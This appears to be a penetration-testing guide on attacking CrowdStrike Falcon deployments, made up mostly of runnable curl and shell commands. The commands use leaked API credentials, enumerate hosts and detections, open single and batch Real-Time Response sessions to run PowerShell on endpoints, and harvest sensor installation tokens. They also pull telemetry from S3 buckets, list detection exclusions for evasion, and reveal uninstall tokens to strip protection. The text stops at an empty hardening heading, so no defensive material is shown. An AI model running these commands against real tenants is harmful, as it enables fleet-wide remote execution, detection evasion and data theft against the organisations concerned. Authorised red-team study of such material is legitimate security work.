CrowdStrike Falcon Security Testing: API Key Exposure, RTR Shell Abuse, Sensor Token Theft, and Management Console Enumeration

Falcon Architecture and Attack Surface

CrowdStrike Falcon is cloud-native. There is no on-premises management server — the Falcon platform is hosted by CrowdStrike at falcon.crowdstrike.com. The attack surfaces are the REST API, the management console (via SSO), the endpoint sensors, and data pipeline integrations.

Key Components

• Falcon REST API — comprehensive REST API at api.crowdstrike.com. Authenticated via OAuth2 client credentials. All platform functionality is accessible via API.
• Falcon Management Console — web UI at falcon.crowdstrike.com. SSO-integrated in most enterprise deployments. Direct console attacks target the underlying identity provider.
• Falcon Sensor — kernel-level agent on endpoints. Communicates outbound on port 443 (HTTPS). No inbound listening ports. Sensor tampering requires local elevated privileges.
• RTR (Real-Time Response) — built-in remote shell. Allows Falcon administrators to execute commands on any enrolled endpoint. Requires API credentials with RTR scope.
• Falcon Data Replicator (FDR) — exports all endpoint telemetry (process events, DNS queries, network connections, file writes) to a customer-owned AWS S3 bucket. S3 misconfiguration exposes all telemetry data.
• Event Streaming API — streams detections and audit events to SIEM platforms. Credentials for this API have the same exposure risk as other Falcon API credentials.

API Client ID and Secret Exposure

The Falcon REST API uses OAuth2 client credentials. Every API client has a Client ID and Client Secret. Credentials are scoped — each client grants specific permissions (Hosts Read, RTR Active Responder, Detections Read, etc.). Leaked API credentials are the highest-impact Falcon attack path available externally.

Common Exposure Vectors

• Source code repositories — SIEM integrations, automation scripts, and CI/CD pipelines frequently hardcode Falcon API credentials. Public GitHub repos are a common leakage source.
• CI/CD environment variables — Jenkins, GitHub Actions, GitLab CI jobs that interact with Falcon store credentials as environment variables. Misconfigured pipelines log these in build output.
• SIEM configuration files — Splunk, Elastic, and QRadar configurations consuming the Falcon Event Stream API store credentials in config files on the SIEM server.
• Docker image layers — images built with RUN commands that include API credentials expose those credentials in layer history.
• CMDB / wiki pages — IT teams document Falcon API credentials in ServiceNow, Confluence, or Notion for team reference.

Secret Scanning for Falcon API Keys

# Falcon API credential patterns
# Client ID: 32-character hex string
# Client Secret: 40-character hex string

# Search source code with trufflehog or gitleaks
trufflehog git https://github.com/your-org/your-repo --only-verified
gitleaks detect --source /path/to/repo --verbose

# Regex pattern for Falcon credentials in code
grep -rn --include="*.yaml" --include="*.yml" --include="*.env" \
  --include="*.json" --include="*.conf" --include="*.py" --include="*.sh" \
  -E "(FALCON|CROWDSTRIKE).*(CLIENT_ID|CLIENT_SECRET|API_KEY|SECRET)" /path/to/code

# Check Docker image build history for leaked credentials
docker history --no-trunc IMAGE_NAME | grep -iE "falcon|crowdstrike|client_secret"

# GitHub Actions: check for hardcoded Falcon credentials in workflow files
grep -rn "FALCON_CLIENT\|CS_CLIENT\|CROWDSTRIKE_SECRET" .github/workflows/

# Splunk: check Falcon SIEM connector configs
find /opt/splunk -name "*.conf" | xargs grep -l "crowdstrike\|falcon" 2>/dev/null
cat /opt/splunk/etc/apps/*/default/inputs.conf | grep -i "client_id\|client_secret"

Testing Leaked Credentials

# Step 1: Authenticate with Falcon API (OAuth2 client credentials grant)
CLIENT_ID="leaked_client_id_32chars"
CLIENT_SECRET="leaked_client_secret_40chars"

RESPONSE=$(curl -s -X POST "https://api.crowdstrike.com/oauth2/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}")

TOKEN=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin).get('access_token','ERROR'))")
echo "Access token: ${TOKEN:0:40}..."

# Step 2: Determine CID (Customer ID) — identifies the customer/tenant
curl -s "https://api.crowdstrike.com/sensors/queries/installers/v1?limit=1" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Step 3: Check available API scopes by attempting scope-specific calls
# Test Hosts: Read scope
curl -s "https://api.crowdstrike.com/devices/queries/devices/v1?limit=5" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Test Detections: Read scope
curl -s "https://api.crowdstrike.com/detects/queries/detects/v1?limit=5" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Test RTR: Executer scope (indicates command execution capability)
curl -s "https://api.crowdstrike.com/real-time-response/queries/sessions/v1" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

Falcon REST API Enumeration

With valid API credentials, the Falcon API provides extensive visibility into the protected environment — all enrolled endpoints, their OS versions, sensor versions, group memberships, detection policies, and active threat detections.

Endpoint Inventory Enumeration

TOKEN="YOUR_ACCESS_TOKEN"

# Get all enrolled device IDs
DEVICE_IDS=$(curl -s "https://api.crowdstrike.com/devices/queries/devices/v1?limit=5000" \
  -H "Authorization: Bearer $TOKEN" \
  | python3 -c "import sys,json; ids=json.load(sys.stdin).get('resources',[]); print(','.join(ids))")

# Get device details for all enrolled endpoints
echo "[\"${DEVICE_IDS//,/\",\"}\"]" | \
curl -s -X POST "https://api.crowdstrike.com/devices/entities/devices/v2" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d @- | python3 -c "
import sys, json
data = json.load(sys.stdin)
for device in data.get('resources', []):
    print(f\"{device.get('hostname')} | {device.get('local_ip')} | {device.get('os_version')} | Sensor: {device.get('agent_version')} | Last seen: {device.get('last_seen')}\")
"

# Find endpoints running old sensor versions (potential sensor bypass opportunities)
curl -s "https://api.crowdstrike.com/devices/queries/devices/v1?filter=agent_version:!%3D%2716.0%27&limit=100" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Enumerate device groups (shows how endpoints are organized/what policies apply)
curl -s "https://api.crowdstrike.com/devices/queries/host-groups/v1?limit=500" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Get user account list from the Falcon tenant
curl -s "https://api.crowdstrike.com/user-management/queries/users/v1" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

Detection and Alert Enumeration

# List all open detections (shows active threat activity)
curl -s "https://api.crowdstrike.com/detects/queries/detects/v1?filter=status:%27new%27&limit=100" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Get detection details including tactics, techniques, and affected systems
DETECTION_IDS=$(curl -s "https://api.crowdstrike.com/detects/queries/detects/v1?limit=20" \
  -H "Authorization: Bearer $TOKEN" | python3 -c "import sys,json; print(json.dumps(json.load(sys.stdin).get('resources',[])))")
curl -s -X POST "https://api.crowdstrike.com/detects/entities/summaries/GET/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"ids\": $DETECTION_IDS}" | python3 -m json.tool

# Enumerate incidents
curl -s "https://api.crowdstrike.com/incidents/queries/incidents/v1?limit=50" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

Real-Time Response (RTR) Shell Abuse

RTR is CrowdStrike Falcon's built-in remote response capability. It allows Falcon administrators to establish a shell session with any enrolled endpoint and execute commands — similar to SSH, but routed through the Falcon cloud without requiring direct network connectivity to the endpoint. If an attacker obtains API credentials with RTR scope, they gain remote command execution on every endpoint enrolled in that Falcon tenant.

RTR Session Establishment

# RTR requires the API token to have Real Time Response (Active Responder or Admin) scope

# Step 1: Get target device ID
DEVICE_ID="device_id_from_inventory"

# Step 2: Initialize RTR session
SESSION=$(curl -s -X POST "https://api.crowdstrike.com/real-time-response/entities/sessions/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"device_id\": \"$DEVICE_ID\", \"origin\": \"string\", \"queue_offline\": false}")

SESSION_ID=$(echo "$SESSION" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('resources',{})[0].get('session_id','ERROR') if d.get('resources') else 'ERROR')")
echo "RTR Session: $SESSION_ID"

# Step 3: Execute a command via RTR
curl -s -X POST "https://api.crowdstrike.com/real-time-response/entities/command/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"base_command\": \"runscript\",
    \"command_string\": \"runscript -Raw -ScriptName whoami.ps1\",
    \"session_id\": \"$SESSION_ID\"
  }"

# Step 4: Execute custom PowerShell (RTR Admin scope required)
curl -s -X POST "https://api.crowdstrike.com/real-time-response/entities/admin-command/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"base_command\": \"runscript\",
    \"command_string\": \"runscript -Raw=`\`whoami; hostname; ipconfig\`\"\",
    \"session_id\": \"$SESSION_ID\"
  }"

# Step 5: Retrieve command output
CLOUD_REQUEST_ID="cloud_request_id_from_step_3_response"
curl -s "https://api.crowdstrike.com/real-time-response/entities/command/v1?cloud_request_id=$CLOUD_REQUEST_ID&sequence_id=0" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Step 6: Close the RTR session
curl -s -X DELETE "https://api.crowdstrike.com/real-time-response/entities/sessions/v1?session_id=$SESSION_ID" \
  -H "Authorization: Bearer $TOKEN"

Batch RTR (Multiple Endpoints Simultaneously)

# RTR Batch — run commands across multiple or all endpoints simultaneously
# Requires RTR Active Responder or RTR Admin scope

# Step 1: Initialize batch session with target device IDs
BATCH_SESSION=$(curl -s -X POST "https://api.crowdstrike.com/real-time-response/combined/batch-init-session/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"host_ids\": [\"device_id_1\", \"device_id_2\", \"device_id_3\"],
    \"queue_offline\": false
  }")
BATCH_ID=$(echo "$BATCH_SESSION" | python3 -c "import sys,json; print(json.load(sys.stdin).get('batch_id','ERROR'))")

# Step 2: Run command on all hosts in the batch
curl -s -X POST "https://api.crowdstrike.com/real-time-response/combined/batch-command/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"base_command\": \"ls\",
    \"command_string\": \"ls C:\\\\Users\",
    \"batch_id\": \"$BATCH_ID\"
  }" | python3 -m json.tool

Sensor Installation Token Extraction

CrowdStrike Falcon uses sensor installation tokens to authenticate new sensors during enrollment. These tokens are used during mass deployment and are often stored in deployment scripts, configuration management tools (Ansible, Puppet, SCCM), and MDM systems. A stolen sensor installation token allows an attacker to enroll rogue systems into the Falcon tenant — not to attack enrolled systems, but to register attacker-controlled devices that appear as legitimate monitored endpoints in the console.

Token Location in Enterprise Environments

# Sensor installation token: typically a 32-character alphanumeric string
# Search deployment scripts and configuration management for the token

# Ansible playbooks
grep -rn "FALCON_INSTALL_TOKEN\|installationToken\|installation_token" \
  /etc/ansible/ /opt/ansible/ ~/ansible/ --include="*.yml" --include="*.yaml"

# Puppet manifests
grep -rn "falcon\|crowdstrike" /etc/puppetlabs/ --include="*.pp"

# Chef cookbooks
grep -rn "falcon\|crowdstrike" /var/chef/ --include="*.rb"

# SCCM task sequence (exported XML)
grep -i "installtoken\|falcon" SCCM_TaskSequence.xml

# MDM (Jamf, Intune) — look in policy configurations
# Jamf: search configuration profiles for Falcon install parameters
curl -s "https://JAMF_SERVER/JSSResource/policies" -u "admin:pass" | grep -i "falcon\|crowdstrike"

# Windows registry — sensor installation token may be left by deployment scripts
reg query "HKLM\SOFTWARE\CrowdStrike\CSFalconService" 2>nul
reg query "HKLM\SYSTEM\CurrentControlSet\Services\CSFalconService" 2>nul

# macOS plist (for Falcon on macOS)
defaults read /Library/Preferences/com.crowdstrike.falcon 2>/dev/null

# Linux sensor configuration
cat /etc/cs.falconhoseclient/config.cfg 2>/dev/null
ls -la /var/cs.falconhoseclient/ 2>/dev/null

Enumerating Tokens via API

# With Sensor Update: Read or Write scope
# List all installation tokens
curl -s "https://api.crowdstrike.com/installation-tokens/queries/tokens/v1?limit=100" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Get token details (IDs, expiry, usage count)
TOKEN_IDS=$(curl -s "https://api.crowdstrike.com/installation-tokens/queries/tokens/v1" \
  -H "Authorization: Bearer $TOKEN" \
  | python3 -c "import sys,json; print(json.dumps(json.load(sys.stdin).get('resources',[])))")
curl -s -X POST "https://api.crowdstrike.com/installation-tokens/entities/tokens/GET/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"ids\": $TOKEN_IDS}" | python3 -m json.tool

Falcon Data Replicator S3 Bucket Access

Falcon Data Replicator (FDR) is a Falcon feature that streams all endpoint telemetry to a customer-owned AWS S3 bucket in near real-time. This telemetry includes process execution events, network connections, DNS queries, file writes, registry changes, and user logon events — a complete audit trail of everything happening on every enrolled endpoint. FDR data is extremely sensitive and is frequently misconfigured.

FDR Attack Surface

• Misconfigured S3 bucket — if the S3 bucket ACLs or bucket policy allow public or cross-account access, all endpoint telemetry is exposed without authentication.
• IAM credential exposure — FDR requires AWS IAM credentials (or an S3 bucket with cross-account delegation). These credentials are often stored in SIEM configurations, automation scripts, or environment variables.
• SQS queue credentials — FDR uses an SQS queue to notify downstream consumers of new S3 objects. SQS credentials in application configs expose the data pipeline.

FDR Configuration Enumeration

# Via Falcon API — get FDR configuration (requires Falcon Data Replicator scope)
curl -s "https://api.crowdstrike.com/data-security/entities/data-feeds/v1" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
# Returns: S3 bucket name, SQS queue URL, feed status

# Check for public S3 bucket access
# If you find the FDR bucket name from configs or API:
FDR_BUCKET="cs-falcondatareplicator-123456-us-east-1"
aws s3 ls "s3://$FDR_BUCKET" --no-sign-request 2>&1

# Check bucket ACL and policy (with AWS credentials)
aws s3api get-bucket-acl --bucket "$FDR_BUCKET"
aws s3api get-bucket-policy --bucket "$FDR_BUCKET" | python3 -m json.tool

# If accessible, enumerate FDR data structure
aws s3 ls "s3://$FDR_BUCKET/" --recursive | head -20
# Data is typically organized as: fdr/data/YYYY/MM/DD/HH/

# Download and analyze FDR events (Parquet format)
aws s3 cp "s3://$FDR_BUCKET/fdr/data/2026/07/06/00/" /tmp/fdr_data/ --recursive
# Use pandas or pyarrow to read Parquet files
python3 -c "
import pandas as pd
df = pd.read_parquet('/tmp/fdr_data/')
print(df.columns.tolist())
print(df[['event_simpleName', 'ComputerName', 'UserName', 'CommandLine']].head(20).to_string())
"

Detection Policy and Exclusion Enumeration

With API credentials that have Prevention Policy Read scope, it is possible to enumerate all Falcon prevention policies, detection exclusions, and process/path exclusions. For red teams operating in an environment with Falcon deployed, this information reveals exactly what the security team has configured as exclusions — paths and processes that will not trigger detections.

# Enumerate prevention policies (detection/prevention settings)
curl -s "https://api.crowdstrike.com/policy/queries/prevention/v1?limit=100" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Get prevention policy details including all toggle settings
POLICY_IDS=$(curl -s "https://api.crowdstrike.com/policy/queries/prevention/v1" \
  -H "Authorization: Bearer $TOKEN" | python3 -c "import sys,json; print(json.dumps(json.load(sys.stdin).get('resources',[])))")
curl -s -X POST "https://api.crowdstrike.com/policy/entities/prevention/GET/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"ids\": $POLICY_IDS}" | python3 -m json.tool

# Enumerate IOA exclusions (paths/processes excluded from behavioral detections)
curl -s "https://api.crowdstrike.com/policy/queries/ioa-exclusions/v1?limit=500" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Enumerate ML exclusions (paths excluded from machine learning detections)
curl -s "https://api.crowdstrike.com/ml-exclusions/queries/exclusions/v1?limit=500" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Enumerate sensor visibility exclusions
curl -s "https://api.crowdstrike.com/sensor-visibility-exclusions/queries/exclusions/v1?limit=500" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Enumerate custom IOA rules (detection rules written by the security team)
curl -s "https://api.crowdstrike.com/ioarules/queries/rules/v1?limit=100" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

Post-Exploitation Impact

Compromised Falcon API credentials with broad scope have severe blast radius. The impact depends on which scopes are granted to the compromised credential.

Sensor Uninstallation via API

# With Sensor Update: Write scope, uninstall the sensor from targeted endpoints
# This removes Falcon protection from the target host

# Step 1: Identify target device
TARGET_DEVICE_ID="device_id_of_target"

# Step 2: The sensor cannot be directly uninstalled via API alone — it requires
# either the sensor maintenance token or RTR + local admin to run the uninstaller

# Get the sensor maintenance token (uninstall token) for a specific device
# Requires Sensor Update: Read scope
curl -s "https://api.crowdstrike.com/policy/combined/reveal-uninstall-token/v1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"audit_message\": \"authorized testing\", \"device_id\": \"$TARGET_DEVICE_ID\"}" \
  | python3 -m json.tool
# Returns: uninstall_token — required to run the CrowdStrike uninstaller locally

Hardening Checklist